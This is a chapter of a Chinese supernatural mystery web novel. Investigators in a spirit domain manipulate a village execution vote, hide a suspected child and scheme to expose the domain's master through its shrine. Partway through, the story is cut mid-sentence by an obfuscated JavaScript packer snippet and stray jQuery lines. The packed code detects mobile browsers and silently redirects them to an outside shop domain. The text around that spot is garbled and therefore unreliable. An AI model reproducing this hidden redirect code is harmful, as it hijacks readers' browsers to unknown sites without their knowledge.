天色快要彻底亮起来时,我窝在床上浅浅地睡了一觉,是任谊敲门声音将我吵醒的。
他很不拿自己当外人地闯进屋里,大声疾呼:“姐啊,你怎么还睡着呢?村里又死人了。”
我尚未睡醒,敷衍他:“那你去看一下情况啊,过来喊我干什么?”
“……我这不是喊你一起吗?”
“怎么,你难道还害怕尸体,不敢一个人去吗?”我睁开眼,不耐烦地补上一句,“而且村里人都在那里,有什么害怕的?”
“我就是害怕尸体不成么?”任谊居然十分理直气壮地自曝其短起来。
睡意彻底被无厘头小任驱散了,我从床上坐起来叹气道:“你害怕尸体做什么驱灵师?”
“我就是为了这种横死的人少一些,才做驱灵师的啊。这是我高尚的职业理想。”任谊大义凛然,“这之间有什么关系吗?”
姚千这时正打了一盆水进来,村里没有自来水管,洗漱都要从村中水井里打水。
我看着他将水盆放在桌上,笑道:“你来晚了,错过了小任高尚的职业理想。”
任谊有点绷不住:“怎么了,我就是想要拯救更多人才想当驱灵师的啊……”
他转向姚千:“姚先生你应该懂我的吧!”
“我不是。”姚千干脆道。
“……”小任说不出话了,表情活像是滤镜破碎。
我给自家老板打圆场:“怎么了,天下熙熙,皆为利来,为名为利怎么了?”
“也不是为了名利。”
姚千转脸把我的话也推翻了,喊我,“我已经洗漱过了,水是打给你的。”
我起床洗漱,顺便将昨晚的事情也一并讲给了任谊,当然隐瞒了我觉醒灵能力的事情,含糊地将相关情况一笔带过。
之后我们便再次去到了昨晚的现场,和我们离开时并没有任何区别。由于我们的小心打扫,并没有人怀疑曾经有其他人来过这个地方,村民们几乎全部的注意力都集中在了两件事情之上。
第一是刘君雅的死亡,第二便是田玥的失踪。
“西瓜刀上的血手印这么小,除了是田玥,不可能是其他人了。”杨天明杨老师仍然跟昨天一样,冲锋在指认凶手的第一线,看到凶器,即刻做出判断。
村民们是怎么忍住不把他投出去的?如果不是凶手已经确凿无误,我真的很想投他一票试试。
我们到达时,村里的人已经几乎全部来齐。经过一番寻找,还是没能找到田玥的所在。
直过了半小时,杨谷终于下了决定:“不能耽误早晨投票的程序,可以视为田玥缺席,投票继续。”
这场投票的发展和我预想中相差不大,凶器上孩童手印尚未擦除,大多数人都认为是田玥杀死了刘君雅,将凶手票投给了田玥。但在投执行票的时候,又有不少人陷入犹豫。
我举手发言:“虽然现场很清楚了,但毕竟小田玥没有出现,也不能排除是有人故意栽赃污蔑她。”
“毕竟是那么小的孩子,现在又找不到人,是生是死都不清楚,没有更确切的依据就决定杀掉她,我还是觉得不太好。”
说罢,我率先投出放弃票。
最后投票以7比6放弃了对田玥的处决。
投票结束后没一会儿,田玥又懵懵懂懂地出现在村中,满身带着飞溅的血迹,显然是杀人者无误。
杨天明恨恨指向她道:“果然她就是被邪灵附身的那个人,你们现在相信了吧?让我们重新投票吧。”
杨谷淡淡拒绝了:“今天投票的仪式已经结束了,即便杀了她,也无法驱逐邪灵。”
不知为何,虽然杨谷一直是这种大公无私的语气,但我莫名感到,她似乎对杨天明的态度更针对一些。
听到其他村民不满的起哄声,杨谷又道:“既然邪灵附身者已经找到,今晚严加防范就是,不会有事的。”
村长威信做背书,大家不情不愿地接受了这个结果,而田玥则被关进另一间屋子,反锁上了房门。
很好。看到这个结果,我心中十分满意。
田玥的失踪当然是我和姚千一手设计——毕竟,出现在杀人现场满身血迹的田玥,无论如何都很难摆脱被投票处决的结局。
为了避免这一情况,我让姚千操纵灵能力,将田玥藏在了一个难以被发现的地方,并制止了她可能会发出的喊叫。
在田玥本人没有被找到的情况下,加之我的推波助澜,投票将人处决的可能性会大大降低。而等到投票结束,姚千也就没有必要持续消耗灵力限制田玥的行动了。
虽然又死了人,但有关于邪灵的危机也算是基本宣告解除,彼此间的猜忌减少许多,村中恢复些许和谐氛围。
我跟随众人从投票结束的祠堂出来,喊住了任谊。
“在祠堂。”三人来到无人处,我说。
任谊茫然看我。
我向他解释道:“刚才的案发现场,虽然看上去是刘君雅被杀死了,但出现在那里的并不是刘君雅真正的身体,而是她的魂灵。”
任谊点点头:“这个我早就知道啊。”
“而在早晨,大多数人看到刘君雅后,她就消失了——根据之前我们在山外所看到的情况,在村中被杀掉的人,死去的魂灵其实是会回到身体之中的。”
“刘君雅的魂灵消失在我们眼前后,也会回到自己的身体中去。”我道,“早晨跟你说过,我的灵能力是用灵力生成的线。既然是线,作用就不仅仅是切割。”
任谊的眼睛渐渐睁大了:“也就是说……”
“你用线牵在了刘君雅的魂灵上?”
“没错。”
我道,“根据线去往的方向,刘君雅的魂灵在被送到了祠堂之后,很快又被带离了村落。这和之前被害人在山下被发现的情况,也相符合。”
“也就是说,祠堂长桌后面那面厚实墙壁的真实形态,其实是村中众人的身体?”
任谊恍然大悟,“所以,当时曾玉成留给我的那句话,说突破口在祠堂,原来是这个意思吗?”
他皱起眉,又喃喃道:“但是,突破口,为什么说那里是突破口?”
姚千语气平淡地回他道:“如果能看到所有放在那里的身体,那么灵域主人究竟是谁,也就一目了然了。”
“毕竟在所有村民中,只有灵域主人是没有身体寄放在那里的。”
这句话其实不完全对,我作为残灵也没有身体寄放在那里,只是任谊还对此尚不知情。
“但问题是,”任谊点点头,又问,“我们现在看到的,只是祠堂的样子——到底怎么样才能看到里面究竟有谁的身体?”
这个问题就有点难度了。
沉默几秒,我突然道:“你们觉得,为什么身体会被留在祠堂里,无法被我们看到?”
“什么?”任谊不明所以。
“是规则。”只有姚千听懂了我的话,“身体与魂灵分离,并被保存在灵域之中,是这个灵域规则的一部分。”
我点点头,继续道:“灵域主人虽然在灵域中拥有强大的权限,但从灵力的强弱上也能判断出来。是灵域给予了灵域主人在灵域中强大的权限,而不是灵域主人用他强大的能力操纵了灵域。”
“灵域作为人类死亡成为残灵时,由剧烈情绪所伴生的存在,自成体系,本身就可以吸收灵力以维持灵域的运转。”姚千解释。
“也就是说,灵域对于灵域主人而言,可以类比成一辆车,或者一架变形金刚之于之人类。人类虽然有操纵机器的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136463|150124||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
能力,但仍然要受限于机器本身的机能——也就是灵域的规则。”
“既然祠堂中被隐藏的身体,是灵域的规则之一,也就是这个机器的元件之一……”我一顿,突然朝姚千问道,“有没有这种可能,当这个灵域赖以存在的其他规则受到影响时,祠堂也会随之产生动摇——从而出现变化?”
姚千的目光落在我身上,沉默半晌没有说话。
“可不可行?”我问他。
“……是成立的。”他沉吟道,“就相当于以动摇整个灵域的根基,以影响灵域的稳定性。”
“而这其中最重要的,是抓住灵域赖以存在的基础规则——又或者说,是灵域主人作为人类身死时最执着的情绪。”
他做出总结:“只有动摇了最重要的规则,才能真正影响到灵域。”
“这个嘛……”我眨眨眼,看向遥远处的学校位置,“也不能算太过困难吧。”
十多分钟后,我抱着零食,坐在了教室外面的小院中。
这几天里我算得上是争分夺秒地品尝着食物,来村里这一天多时间里,我已经将刘君雅厨房里那间小柜搬空了一半,如果她现在还在,不知道会不会心疼村里的零食储备。
想到这里,我心中隐约产生了一些伤感情绪,于是又往嘴里填了一口薯片。
关于食物,这两天我又有了一些新发现。虽然从我有记忆以来从没有吃过薯片,但对于不同口味的薯片,我竟然也能体会出“吃过”和“没吃过”的区别。
这倒是也不令人太过意外,毕竟我虽然失了忆,却还会正常说话和思考,足以见得其实大部分记忆还都在正常运行。
照这样下去,大概有朝一日,我也能回忆起我此前的人生,和致使我死亡的原因吧。
“姐,你是想怎么说?”任谊坐在身旁,问我话的语气理所当然,好像我是他的老师或者其他什么前辈。
不知为何,这个年轻人好像真的对我产生了一种莫名的信任感。等到我们离开灵域,他发现我其实并不是人类,说不定还会大吃一惊。
我看了看他,刚想说话,却听到教室里传来杨天明略显疲惫的声音。
“今天的课就上到这里吧,今天大家都累了,先休息吧。”
毕竟村子里已经连续出现两桩命案,虽然已经近乎尘埃落定,但残酷现实带给人的阴影多少还需要时间来抚平。
杨天明从教室走出来,看到坐在操场上的我们两人,朝我们打了个招呼,道:“来了啊。”他又看看任谊:“今天要上课吗?”
我这才又想起来,任谊也是这座学校里的任课老师之一。
“今天不是没排我的课吗?”任谊随口道,“就是过来看看。”
“顺便查点东西。”我理所当然地又补上一句。
看得出,杨天明很努力地压制住了脸上的异样神色:“调查什么?”
“当然是杀人凶手了。”
“凶手不是已经很明显了吗?”杨天明露出费解表情。
“不一定啊。”
我朝着对方笑笑,“毕竟结果还没有被验证,是不是真正的真相,也不好说。”
还没等他说话,我又道,“杨老师,其实我这两天一直在想一件事情。”
“你说,之前几次邪灵降临中,死去的人,就一定都是被那个被投出的邪灵附身者杀害的吗?”
我一边慢条斯理地说着,一边直视着杨天明。
“有没有可能,存在着这么一个人,虽然杀了人,却始终没有受到过惩罚?”
“毕竟,虽然投出那个邪灵附身者了,但确实也没有任何的迹象,能够证明所有人都是那一个人杀的,对吧。”
在我所见的视野之中,杨天明的瞳孔渐渐放大了。